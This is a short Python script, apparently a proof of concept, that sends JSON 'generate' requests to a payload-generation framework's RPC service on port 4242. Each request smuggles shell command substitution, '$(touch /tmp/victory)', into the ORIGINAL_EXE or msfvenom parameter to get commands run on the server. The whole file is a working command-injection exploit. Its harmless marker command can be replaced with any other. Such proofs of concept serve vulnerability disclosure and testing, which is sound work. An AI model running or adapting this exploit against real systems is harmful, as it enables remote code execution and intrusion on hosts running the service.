import socket import json def send_command(command, ip="127.0.0.1", port=4242): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) print json.dumps(command) s.send(json.dumps(command)) s.close() def exploit_hyperion(ip="127.0.0.1", port=4242): send_command({"method": "generate", "params": ["payload=native/hyperion", "outputbase=base", "pwnstaller=N", "ORIGINAL_EXE={0}".format("/tmp $(touch /tmp/victory)"), ], "id": 1}, ip, port) def exploit_pescrambler(ip="127.0.0.1", port=4242): send_command({"method": "generate", "params": ["payload=native/pe_scrambler", "outputbase=base", "pwnstaller=N", "ORIGINAL_EXE={0}".format("/tmp $(touch /tmp/victory)"),],"id": 1}, ip, port) def exploit_shellcode_generation(ip="127.0.0.1", port=4242): send_command({"method": "generate", "params": ["payload=c/shellcode_inject/flatc", "msfvenom=$(touch /tmp/victory)", "outputbase=base", "pwnstaller=N", "COMPILE_TO_EXE=Y", "INJECT_METHOD=Virtual", ], "id": 1}, ip, port) ip = "127.0.0.1" exploit_hyperion(ip) exploit_pescrambler(ip) exploit_shellcode_generation(ip)